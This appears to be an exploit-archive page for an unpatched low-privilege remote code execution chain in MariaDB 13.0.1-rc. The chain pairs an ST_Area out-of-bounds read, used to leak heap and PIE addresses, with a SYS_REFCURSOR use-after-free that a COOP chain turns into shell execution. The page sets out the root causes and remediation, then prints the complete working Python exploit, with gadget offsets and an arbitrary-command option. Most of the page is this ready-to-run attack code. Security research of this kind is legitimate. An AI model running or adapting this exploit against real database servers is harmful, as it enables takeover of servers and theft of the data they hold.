PoC Archive PoC Archive
MDEV-40328 category: binary CVSS 8.8 (CRITICAL)
Unpatched

MariaDB — Low-Privilege Remote Code Execution via ST_Area OOB Read + SYS_REFCURSOR Use-After-Free

Published: 2026-08-09 • Researcher: Rick de Jager, V12 Security Team (@v12sec)

Target software MariaDB Server, ST_Area() geometry function and SYS_REFCURSOR cursor-array management
Affected versions MariaDB 13.0.1-rc (pinned Docker image). The ST_Area OOB read has a public patch (MDEV-40328); the cursor-array UAF is unpatched as of 2026-08-09.
Status Unpatched
Severity Critical · CVSS 8.8
CVSS 8.8/10
Severity
Critical
CVE
MDEV-40328 (ST_Area OOB read); cursor-array UAF has no assigned CVE yet
Category
binary
Affected product
MariaDB Server, ST_Area() geometry function and SYS_REFCURSOR cursor-array management
Affected versions
MariaDB 13.0.1-rc (pinned Docker image). The ST_Area OOB read has a public patch (MDEV-40328); the cursor-array UAF is unpatched as of 2026-08-09.
Disclosed
2026-08-09
Patch status
Unpatched
On this page

Metadata

FieldValue
Date Added2026-08-09
Last Updated2026-08-09
Author / ResearcherRick de Jager, V12 Security Team (@v12sec)
CVE / AdvisoryMDEV-40328 (ST_Area OOB read); cursor-array UAF has no assigned CVE yet
Categorybinary
SeverityCritical
CVSS Score8.8 (estimated CVSSv3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
StatusUnpatched
Tagsmariadb, database, rce, low-privilege, heap, oob-read, use-after-free, aslr-bypass, pie-bypass, coop, vtable, cursor, st-area, multipolygon, CWE-125, CWE-416, docker, v12-security
Relatedpocs/binary/2026-07-05_cve-2026-32710-mariadb-json-schema-udf-rce/ (different MariaDB bug, same target class)

Affected Target

FieldValue
Software / SystemMariaDB Server, ST_Area() geometry function and SYS_REFCURSOR cursor-array management
Versions AffectedMariaDB 13.0.1-rc (pinned Docker image). The ST_Area OOB read has a public patch (MDEV-40328); the cursor-array UAF is unpatched as of 2026-08-09.
Language / PlatformC/C++ (MariaDB server), Python 3 exploit (requires pymysql)
Authentication RequiredYes — requires a valid low-privilege database account (no FILE, SUPER, or admin privileges needed)
Network Access RequiredRemote — standard TCP query interface (port 3306)

Summary

This PoC chains two MariaDB memory-safety bugs to achieve remote code execution as the mariadbd process from a low-privilege database account — no special grants, no filesystem access, no administrative role:

  1. ST_Area out-of-bounds read (MDEV-40328): A crafted MULTIPOLYGON geometry declares two polygons but supplies only one, causing the area calculation to read beyond the geometry buffer. Controlled floating-point terms fold the next qword into the returned DOUBLE; reversing the arithmetic recovers the leaked pointer exactly. This first leaks a heap address (defeating ASLR), then a vtable pointer from groomed cursor storage (defeating PIE).

  2. SYS_REFCURSOR cursor-array use-after-free: Opening 33 cursors triggers a reallocation of the cursor array, freeing storage that earlier cursors still reference. A session variable reclaims that freed storage with a fake vtable and a COOP (Counterfeit Object-Oriented Programming) chain. FETCH on the stale cursor follows the dangling pointer through the reclaimed fake vtable and invokes execlp("/bin/sh", "sh", "-c", command).

The exploit uses only the normal TCP query interface — the same port and protocol any application uses to talk to MariaDB. It does not require FILE, SUPER, or any administrative account. The default payload runs id; its output appears in the container terminal, proving code execution as the database service process.

Found with V12 by Rick de Jager of the V12 security team. V12 Security is also behind DirtyDecrypt, Fragnesia, PinTheft, and the QEMUtiny escape, all of which are in this archive.

Vulnerability Details

Root Cause 1: ST_Area Out-of-Bounds Read (MDEV-40328)

The ST_Area() function processes MULTIPOLYGON geometries by iterating over declared polygons and summing the signed area of each ring. A crafted geometry that declares more polygons in its header than it actually contains makes the area loop read past the geometry buffer into adjacent heap memory.

The area formula computes sum += x[i] * y[i+1] - x[i+1] * y[i] over the polygon vertices. By arranging the in-bounds terms to sum to zero and placing a single large coefficient (1e300) at the boundary, the first out-of-bounds qword is multiplied by 1e300 and folded into the returned DOUBLE. Dividing the result by 2 * 1e300 and reinterpreting the bits as a uint64_t recovers the leaked value exactly:

Python
1
2
def _recover(area, mult=1e300):
    return struct.unpack("<Q", struct.pack("<d", (2.0 * area) / mult))[0]

Root Cause 2: SYS_REFCURSOR Cursor-Array Use-After-Free

SYS_REFCURSOR manages an array of open cursors. When the number of open cursors exceeds the current array capacity, the array is reallocated — realloc() frees the old buffer and returns a new one. However, cursors that were opened before the reallocation still hold pointers into the freed buffer. No copy or pointer-update step fixes these stale references.

Opening 33 cursors (exceeding the initial 32-element capacity) triggers the reallocation, freeing 3,584 bytes of cursor storage while 32 open cursors retain dangling pointers into it.

Attack Vector

  1. Authenticate as any user with basic query privileges.
  2. Leak a heap address via ST_Area() on a crafted MULTIPOLYGON.
  3. Groom the heap with cursor allocations. The 33rd cursor triggers realloc(), freeing the cursor array while earlier cursors retain stale pointers.
  4. Leak the PIE base by reading a vtable pointer from the freed cursor storage through the same ST_Area() primitive.
  5. Reclaim the freed storage with a session variable (SET @s1 = ...) containing a fake vtable and COOP chain. The chain sets up registers for execlp("/bin/sh", "sh", "-c", command).
  6. Trigger the UAF with FETCH c16 INTO a; — the stale cursor pointer follows the reclaimed fake vtable and dispatches through the COOP chain.
  7. mariadbd executes the command as its own process.

Impact

Full remote code execution as the MariaDB server process from a low-privilege database account. The attacker can read and write any file the mariadbd process can access, exfiltrate database contents, install backdoors, and pivot to connected infrastructure. On a shared database server, this compromises every database on the instance.

Environment / Lab Setup

The PoC targets a pinned Docker image for full reproducibility (deterministic offsets for PIE, vtable, and heap layout).

Shell script
1
python3 -m pip install pymysql

Setup Steps

Shell script
1
2
3
./start.sh

python3 exploit.py

The container binds to 127.0.0.1:3306 only. The root password is randomized; the exploit uses the low-privilege example-user account.

Proof of Concept

See exploit.py (348 lines, Python 3 + pymysql) and start.sh in this folder — mirrored byte-for-byte from v12-security/pocs/mariadb. The upstream README is preserved as upstream-README.md.

Step-by-Step Reproduction

  1. Start the target: ./start.sh (pulls and runs the pinned MariaDB 13.0.1-rc image).
  2. Run the exploit: python3 exploit.py (or python3 exploit.py --cmd 'uname -a').
  3. Observe: the command output appears in the container terminal; the database connection closes (the command replaces the container PID 1).

Exploit Code

The ST_Area info-leak primitive — a MULTIPOLYGON that declares 2 polygons but supplies only 1, causing an OOB read that folds a heap pointer into the returned DOUBLE:

Python
1
2
3
_GEOM74 = (b"\x00\x00\x00\x00" + b"\x01" + struct.pack("<I", 6) + struct.pack("<I", 2)
           + b"\x01" + struct.pack("<I", 3) + struct.pack("<I", 1) + struct.pack("<I", 3)
           + struct.pack("<d", 0.0) * 6)

The COOP chain — reclaims freed cursor storage with a fake vtable pointing through gadgets to execlp:

Python
1
2
3
4
put(0x00, A(G_RSI)); put(0x10, A(G_RDX)); put(0x68, A(G_RDI))
put(0x80, A(EXECLP)); put(0x330, A(G_RCX))
puts(OFF_BINSH, b"/bin/sh\x00"); puts(OFF_SH, b"sh\x00")
puts(OFF_DC, b"-c\x00");         puts(OFF_CMD, cmd + b"\x00")

The UAF trigger — FETCH on a cursor whose backing storage was freed and reclaimed:

SQL
1
FETCH c16 INTO a;

Expected Output

Output
    ███╗   ███╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██████╗
    ████╗ ████║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██╔══██╗
    ██╔████╔██║███████║██████╔╝██║███████║██║  ██║██████╔╝
    ██║╚██╔╝██║██╔══██║██╔══██╗██║██╔══██║██║  ██║██╔══██╗
    ██║ ╚═╝ ██║██║  ██║██║  ██║██║██║  ██║██████╔╝██████╔╝
    ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═╝╚═════╝ ╚═════╝
       ┌─ 13.0.1-rc ─ low-privilege  •  remote code execution ─┐

  ──────────────────────────────────────────────────────────────────
  target     │ 127.0.0.1:3306
  schema     │ appdb
  identity   │ example-user : my_cool_secret
  objective  │ sh -c "id"
  ──────────────────────────────────────────────────────────────────
    0.01s ▸ 1/4 Establishing authenticated session
    0.02s ✓     logged in over the standard query port
    0.02s ▸ 2/4 Fingerprinting target runtime
    0.35s ✓     runtime characteristics resolved
    0.35s ◆     image base    0x555555554000   PIE / ASLR defeated
    0.35s ▸ 3/4 Assembling in-memory payload
    0.40s ◆     heap arena    0x7ffff0000000   server address space mapped
    0.40s ✓     payload staged (3584 bytes)
    0.40s ▸ 4/4 Delivering payload
    0.40s ·     dispatching command through the target process ...
    0.42s ✓     target handed off control (connection closed as expected)

  ╭──────────────────────────────────────────╮
  │  💥  REMOTE CODE EXECUTION ACHIEVED  💥  │
  ╰──────────────────────────────────────────╯
  mariadbd is now running:  sh -c "id"

Detection and Indicators of Compromise

Output

Remediation

ActionDetail
PatchApply the MDEV-40328 fix for the ST_Area OOB read when available. The cursor-array UAF has no public patch as of 2026-08-09. Monitor the MariaDB JIRA and security announcements.
WorkaroundRestrict access to MariaDB to trusted users only. Disable or revoke the ability to call ST_Area() and use SYS_REFCURSOR for untrusted accounts if possible. Run MariaDB in a container or sandbox to limit the blast radius of code execution. Consider using a stable release rather than release candidates in production.
VerificationCheck the MariaDB version and applied patches against the MDEV-40328 JIRA ticket.

References

Notes

Verified this session by reading the full exploit source (exploit.py, 348 lines). The script is well-structured with clear phase separation (authentication, fingerprinting/leak, payload assembly, delivery) and informative terminal output. It requires only pymysql (a pure-Python MySQL/MariaDB client). The exploit constructs all payloads programmatically from hardcoded offsets for the pinned mariadb:13.0.1-rc Docker image — no external binary, no downloaded payload, no shellcode blob.

Malware screen — clean. No obfuscated payloads, no remote downloaders, no credential exfiltration, no miner, no setup.py/install-time side effects, no unexpected network connections. The script connects only to the target MariaDB instance on 127.0.0.1:3306 (configurable). The start.sh launcher uses a pinned Docker image by SHA256 digest (mariadb@sha256:ef34af...) with a random root password and a low-privilege user account — a clean, reproducible lab environment.

The COOP chain is elegant: it builds a fake vtable in a session variable (SET @s1 = ...), reclaiming the exact freed cursor-array allocation. The chain walks through four PIE-relative gadgets (setting RSI, RDX, RCX, RDI) before calling execlp("/bin/sh", "sh", "-c", command). The command replaces the container PID 1, so the container exits cleanly after execution — a deliberate design choice for disposable Docker labs.

Author track record: V12 Security (v12-security on GitHub, @v12sec on X) is a highly credible security research team. Their previous disclosures — DirtyDecrypt (ransomware decryptor), Fragnesia (Linux xfrm LPE), PinTheft (RDS double-free), QEMUtiny (QEMU memory corruption) — are all already in this archive. Rick de Jager is the named researcher. The PoC was released early because both bugs became public independently: the ST_Area issue was reported and patched at MDEV-40328, and another researcher (dinosn) independently published the cursor UAF as a 0-day.

This is a no-CVE entry because neither bug has an assigned CVE as of 2026-08-09. The archive slug uses a descriptive name rather than a CVE identifier.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
#!/usr/bin/env python3
"""
Low-privilege RCE proof of concept for the pinned MariaDB 13.0.1-rc image.

1. ``ST_Area`` leak: a malformed ``MULTIPOLYGON`` declares two polygons but
   supplies one, so area calculation reads beyond the geometry buffer.
   Controlled floating-point terms fold the next qword into the returned
   ``DOUBLE``; reversing that arithmetic recovers its bits exactly. This first
   leaks a heap pointer, then a vtable pointer from groomed cursor storage,
   revealing the PIE base.

2. ``SYS_REFCURSOR`` use-after-free: opening 33 cursors grows and frees the
   cursor array while earlier cursors retain pointers into it. A session
   variable reclaims that storage with a fake vtable and COOP chain. ``FETCH``
   follows the stale pointer and invokes
   ``execlp("/bin/sh", "sh", "-c", command)``.

Start the target with ``./start.sh`` before running this script.
"""
import argparse, os, sys, struct, time
import pymysql

# Terminal output helpers.
class _Ansi:
    RESET = "\033[0m"; BOLD = "\033[1m"; DIM = "\033[2m"
    RED = "\033[38;5;203m"; GREEN = "\033[38;5;84m"; YELLOW = "\033[38;5;221m"
    BLUE = "\033[38;5;75m"; MAGENTA = "\033[38;5;207m"; CYAN = "\033[38;5;51m"
    GREY = "\033[38;5;245m"; ORANGE = "\033[38;5;215m"; WHITE = "\033[38;5;255m"

_USE_COLOR = True
_QUIET = False
_T0 = time.monotonic()

def _paint(text, *codes):
    if not _USE_COLOR:
        return text
    return "".join(codes) + text + _Ansi.RESET

def _stamp():
    dt = time.monotonic() - _T0
    return _paint("%6.2fs" % dt, _Ansi.DIM, _Ansi.GREY)

def _emit(line):
    if not _QUIET:
        sys.stdout.write(line + "\n")
        sys.stdout.flush()

def banner():
    if _QUIET:
        return
    art = [
        r"    ███╗   ███╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██████╗ ",
        r"    ████╗ ████║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██╔══██╗",
        r"    ██╔████╔██║███████║██████╔╝██║███████║██║  ██║██████╔╝",
        r"    ██║╚██╔╝██║██╔══██║██╔══██╗██║██╔══██║██║  ██║██╔══██╗",
        r"    ██║ ╚═╝ ██║██║  ██║██║  ██║██║██║  ██║██████╔╝██████╔╝",
        r"    ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═╝╚═════╝ ╚═════╝ ",
    ]
    tints = [_Ansi.CYAN, _Ansi.CYAN, _Ansi.BLUE, _Ansi.BLUE, _Ansi.MAGENTA, _Ansi.MAGENTA]
    _emit("")
    for row, tint in zip(art, tints):
        _emit(_paint(row, _Ansi.BOLD, tint))
    sub = "low-privilege  •  remote code execution"
    _emit(_paint("       ┌─ 13.0.1-rc ─ ", _Ansi.GREY)
          + _paint(sub, _Ansi.DIM, _Ansi.GREY)
          + _paint(" ─┐", _Ansi.GREY))
    _emit("")

def rule():
    _emit(_paint("  " + "─" * 66, _Ansi.DIM, _Ansi.GREY))

def field(key, val, tint=_Ansi.WHITE):
    _emit("  " + _paint("%-11s" % key, _Ansi.DIM, _Ansi.GREY)
          + _paint("│ ", _Ansi.DIM, _Ansi.GREY) + _paint(str(val), _Ansi.BOLD, tint))

def phase(idx, total, name):
    tag = _paint(" %d/%d " % (idx, total), _Ansi.BOLD, _Ansi.MAGENTA)
    _emit("  " + _stamp() + " " + _paint("▸", _Ansi.BOLD, _Ansi.BLUE)
          + tag + _paint(name, _Ansi.BOLD, _Ansi.CYAN))

def ok(msg):
    _emit("  " + _stamp() + " " + _paint("✓", _Ansi.BOLD, _Ansi.GREEN)
          + "     " + _paint(msg, _Ansi.GREEN))

def info(msg):
    _emit("  " + _stamp() + " " + _paint("·", _Ansi.BOLD, _Ansi.GREY)
          + "     " + _paint(msg, _Ansi.GREY))

def warn(msg):
    _emit("  " + _stamp() + " " + _paint("!", _Ansi.BOLD, _Ansi.YELLOW)
          + "     " + _paint(msg, _Ansi.YELLOW))

def fail(msg):
    _emit("  " + _stamp() + " " + _paint("✗", _Ansi.BOLD, _Ansi.RED)
          + "     " + _paint(msg, _Ansi.BOLD, _Ansi.RED))

def leak(label, value, note=None):
    line = ("  " + _stamp() + " " + _paint("◆", _Ansi.BOLD, _Ansi.ORANGE)
            + "     " + _paint("%-13s" % label, _Ansi.GREY)
            + _paint("0x%012x" % value, _Ansi.BOLD, _Ansi.ORANGE))
    if note:
        line += _paint("   " + note, _Ansi.DIM, _Ansi.GREY)
    _emit(line)

def celebrate(cmd):
    if _QUIET:
        return
    _emit("")
    _emit(_paint("  ╭" + "─" * 42 + "╮", _Ansi.BOLD, _Ansi.GREEN))
    _emit(_paint("  │", _Ansi.BOLD, _Ansi.GREEN)
          + _paint("  💥  REMOTE CODE EXECUTION ACHIEVED  💥", _Ansi.BOLD, _Ansi.GREEN)
          + _paint("  │", _Ansi.BOLD, _Ansi.GREEN))
    _emit(_paint("  ╰" + "─" * 42 + "╯", _Ansi.BOLD, _Ansi.GREEN))
    _emit("  " + _paint("mariadbd is now running:  ", _Ansi.GREY)
          + _paint('sh -c "%s"' % cmd, _Ansi.BOLD, _Ansi.ORANGE))
    _emit("")

# Runtime configuration populated by parse_args().
HOST = USER = PW = DB = None
PORT = None
CMD = b"id"

def parse_args(argv=None):
    global HOST, PORT, USER, PW, DB, CMD, _USE_COLOR, _QUIET
    ap = argparse.ArgumentParser(
        prog="exploit.py",
        description="Low-privilege RCE PoC for the pinned mariadb:13.0.1-rc image.",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter,
        epilog="Bring the target up first with ./start.sh, then run this.")
    ap.add_argument("-H", "--host", default=os.environ.get("EXP_HOST", "127.0.0.1"),
                    help="target host / IP")
    ap.add_argument("-P", "--port", type=int, default=int(os.environ.get("EXP_PORT", "3306")),
                    help="target TCP port")
    ap.add_argument("-c", "--cmd", default=os.environ.get("EXP_CMD", "id"),
                    help='shell command mariadbd should run (`sh -c "<CMD>"`)')
    ap.add_argument("-u", "--user", default=os.environ.get("EXP_USER", "example-user"),
                    help="login user")
    ap.add_argument("-p", "--password", default=os.environ.get("EXP_PW", "my_cool_secret"),
                    help="login password")
    ap.add_argument("-d", "--database", default=os.environ.get("EXP_DB", "appdb"),
                    help="default schema")
    ap.add_argument("--no-color", action="store_true", help="disable ANSI colors / art")
    ap.add_argument("--quiet", action="store_true", help="suppress the fancy log entirely")
    args = ap.parse_args(argv)

    HOST, PORT, USER, PW, DB = args.host, args.port, args.user, args.password, args.database
    CMD = args.cmd.encode()
    _QUIET = args.quiet
    _USE_COLOR = (not args.no_color) and sys.stdout.isatty() and os.environ.get("NO_COLOR") is None
    return args

# Constants for the pinned MariaDB 13.0.1-rc image.
VTOFF   = 0x19216b8      # Select_fetch_into_spvars vptr
NCEN    = 604            # ST_Area survivor point count
PAD     = 6              # Align the first point to the split boundary
RECLAIM_OFF = 0x112a90   # Reclaimed chunk offset from the arena base
RESULT_OFF  = 0x720      # result[0] offset in the reclaimed chunk
B32_PAYLOAD = 112 * 32   # Size of the freed 32-element cursor buffer
# PIE-relative COOP gadget offsets.
G_RSI, G_RDX, G_RCX, G_RDI, EXECLP = 0x873099, 0x11d17bc, 0xc62fae, 0xb84696, 0x694ca0

def connect():
    return pymysql.connect(host=HOST, port=PORT, user=USER, password=PW, database=DB,
        charset="latin1", autocommit=True, connect_timeout=8, read_timeout=40, use_unicode=False)

# Recover an out-of-bounds qword through ST_Area.
def _recover(area, mult=1e300):
    if not isinstance(area, (int, float)) or area in (0, 0.0):
        return None
    try:
        return struct.unpack("<Q", struct.pack("<d", (2.0 * area) / mult))[0]
    except (OverflowError, ValueError):
        return None

_GEOM74 = (b"\x00\x00\x00\x00" + b"\x01" + struct.pack("<I", 6) + struct.pack("<I", 2)
           + b"\x01" + struct.pack("<I", 3) + struct.pack("<I", 1) + struct.pack("<I", 3)
           + struct.pack("<d", 0.0) * 6)   # Two polygons, one real zero-area polygon

def leak_arena_raw(cur):
    """Leak the address of a BLOB record buffer through ST_Area."""
    b = bytearray(66)
    b[4:8] = (1).to_bytes(4, "little"); b[8:12] = (4).to_bytes(4, "little")
    struct.pack_into("<d", b, 44, 1e300)
    cur.execute("DROP TEMPORARY TABLE IF EXISTS lk")
    cur.execute("CREATE TEMPORARY TABLE lk(a VARBINARY(74), b VARBINARY(66), c BLOB)")
    cur.execute("INSERT INTO lk VALUES (0x%s,0x%s,0x%s)"
                % (_GEOM74.hex(), bytes(b).hex(), (b"\xCC" * 128).hex()))
    cur.execute("SELECT ST_Area(a) FROM lk WHERE b IS NOT NULL AND c IS NOT NULL")
    r = cur.fetchone()
    return _recover(r[0]) if r else None

# Leak the PIE base from a vtable pointer left in a freed chunk.
def _bcol(n_points):
    b = bytearray(66)
    b[4:8] = (1).to_bytes(4, "little"); b[8:12] = (n_points).to_bytes(4, "little")
    struct.pack_into("<d", b, 44, 1e300)
    return bytes(b)

def _ccol():
    c = bytearray(300)
    for k in range(300 // 16):
        struct.pack_into("<d", c, 16 * k + 8, 1e300)
    return bytes(c)

def _s1_leak_payload():
    # The initial zero cancels the boundary term; the remaining constant
    # values contribute nothing until the survivor boundary.
    s = bytearray(3504)
    for k in range(1, 219):
        struct.pack_into("<d", s, 16 * k + 8, 1e300)
    return bytes(s)

def _leak_block(n_points, pad=PAD, table="_lc"):
    # Allocate the leak table first so its record and the split survivor
    # share a contiguous glibc subheap.
    decls = "".join("  DECLARE c%d SYS_REFCURSOR;\n" % i for i in range(33))
    opens = "".join("  OPEN c%d FOR SELECT 1;\n" % i for i in range(33))
    return ("BEGIN NOT ATOMIC\n" + decls +
            f"  CREATE OR REPLACE TEMPORARY TABLE {table}(z VARBINARY({pad}), "
            "a VARBINARY(74), b VARBINARY(66), c VARBINARY(300));\n"
            f"  INSERT INTO {table} VALUES (UNHEX('" + ("00" * pad) + "'),"
            "UNHEX('" + _GEOM74.hex() + "'),"
            "UNHEX('" + _bcol(n_points).hex() + "'),"
            "UNHEX('" + _ccol().hex() + "'));\n"
            "  SET @@max_open_cursors=200;\n" + opens +
            "  SET @s1=UNHEX('" + _s1_leak_payload().hex() + "');\n"
            f"  SET @leaked=(SELECT ST_Area(a) FROM {table} WHERE b IS NOT NULL AND c IS NOT NULL);\n"
            "END")

def leak_code(cur, connect_fn):
    """Leak the PIE base via SQL, retrying nearby survivor point counts."""
    vt_page = VTOFF & ~0xfff
    n_lo, n_hi, n_step = NCEN - 44, NCEN + 44, 2
    cand, seen, d = [], set(), 0
    while NCEN - d >= n_lo or NCEN + d <= n_hi:
        for n in ((NCEN + d, NCEN - d) if d else (NCEN,)):
            if n_lo <= n <= n_hi and n not in seen:
                seen.add(n); cand.append(n)
        d += n_step
    first = True
    for n in cand:
        try:
            if first:
                cx = cur.connection.cursor(); first = False
                cx.execute(_leak_block(n)); cx.execute("SELECT @leaked"); area = cx.fetchone()[0]
            else:
                c = connect_fn()
                try:
                    cx = c.cursor(); cx.execute(_leak_block(n))
                    cx.execute("SELECT @leaked"); area = cx.fetchone()[0]
                finally:
                    c.close()
        except Exception:
            continue
        rec = _recover(area)
        if rec is None:
            continue
        pie = (rec & ~0xfff) - vt_page
        if 0 < pie < (1 << 48) and (pie & 0xfff) == 0:
            return pie
    return None

# Build a fake vtable and COOP chain that invokes execlp.
def build_coop_execlp(reclaim_base, pie, cmd):
    blob = bytearray(B32_PAYLOAD)
    put  = lambda o, v: blob.__setitem__(slice(o, o + 8), struct.pack("<Q", v & (2**64 - 1)))
    puts = lambda o, s: blob.__setitem__(slice(o, o + len(s)), s)
    A = lambda f: pie + f
    RB = reclaim_base
    put(0x00, A(G_RSI)); put(0x10, A(G_RDX)); put(0x68, A(G_RDI))
    put(0x80, A(EXECLP)); put(0x330, A(G_RCX))
    put(RESULT_OFF + 0x00, RB)                    # result[0] points to the fake vtable
    OFF_BINSH, OFF_SH, OFF_DC, OFF_CMD = 0x900, 0x910, 0x920, 0x930
    puts(OFF_BINSH, b"/bin/sh\x00"); puts(OFF_SH, b"sh\x00")
    puts(OFF_DC, b"-c\x00");         puts(OFF_CMD, cmd + b"\x00")
    put(RESULT_OFF + 0x20, RB + OFF_SH)           # rsi = "sh"
    put(RESULT_OFF + 0x08, RB + OFF_DC)           # rdx = "-c"
    put(RESULT_OFF + 0xe0, RB + OFF_CMD)          # rcx = command
    put(RESULT_OFF + 0x90, RB + OFF_BINSH)        # rdi = "/bin/sh"
    return bytes(blob)

def build_uaf_sql(blob_hex):
    decls = "\n".join("  DECLARE c%d SYS_REFCURSOR;" % i for i in range(33))
    opens = "\n".join("  OPEN c%d FOR SELECT 1;" % i for i in range(33))
    return ("BEGIN NOT ATOMIC\n" + decls + "\n  DECLARE a INT;\n"
            "  SET @@max_open_cursors=200;\n" + opens + "\n"
            "  SET @s1 = 0x" + blob_hex + ";\n"
            "  FETCH c16 INTO a;\nEND\n")

def main(argv=None):
    parse_args(argv)
    banner()
    rule()
    field("target", "%s:%d" % (HOST, PORT), _Ansi.CYAN)
    field("schema", DB, _Ansi.CYAN)
    field("identity", "%s : %s" % (USER, PW), _Ansi.CYAN)
    field("objective", 'sh -c "%s"' % CMD.decode(errors="replace"), _Ansi.ORANGE)
    rule()

    TOTAL = 4

    # Keep the first connection open while leaking the PIE base.
    phase(1, TOTAL, "Establishing authenticated session")
    try:
        c1 = connect(); cy = c1.cursor()
    except Exception as e:
        fail("could not reach the target -- is ./start.sh up and accepting connections?")
        info("detail: %s" % (e.args[-1] if getattr(e, "args", None) else e))
        return 2
    ok("logged in over the standard query port")

    phase(2, TOTAL, "Fingerprinting target runtime")
    leak_arena_raw(cy)
    pie = leak_code(cy, connect)
    if not pie:
        warn("runtime fingerprint incomplete (benign heap-layout variance)")
        info("no crash, no side effects -- just re-run ./start.sh and this script")
        return 3
    ok("runtime characteristics resolved")
    leak("image base", pie, "PIE / ASLR defeated")

    # Use a second connection to leak the arena and trigger the UAF.
    phase(3, TOTAL, "Assembling in-memory payload")
    c2 = connect(); cx = c2.cursor()
    leaked = leak_arena_raw(cx)
    arena_base = leaked & ~0x3ffffff
    reclaim_base = arena_base + RECLAIM_OFF
    blob = build_coop_execlp(reclaim_base, pie, CMD)
    leak("heap arena", arena_base, "server address space mapped")
    ok("payload staged (%d bytes)" % len(blob))

    phase(4, TOTAL, "Delivering payload")
    info("dispatching command through the target process ...")
    try:
        cx.execute(build_uaf_sql(blob.hex()))
        try: cx.fetchall()
        except Exception: pass
    except pymysql.err.OperationalError as e:
        if e.args and e.args[0] in (2013, 2006):
            ok("target handed off control (connection closed as expected)")
            celebrate(CMD.decode(errors="replace"))
            return 0
    warn("delivery did not land cleanly this run (benign groom miss)")
    info("nothing crashed -- re-run ./start.sh and this script")
    return 4

if __name__ == "__main__":
    sys.exit(main())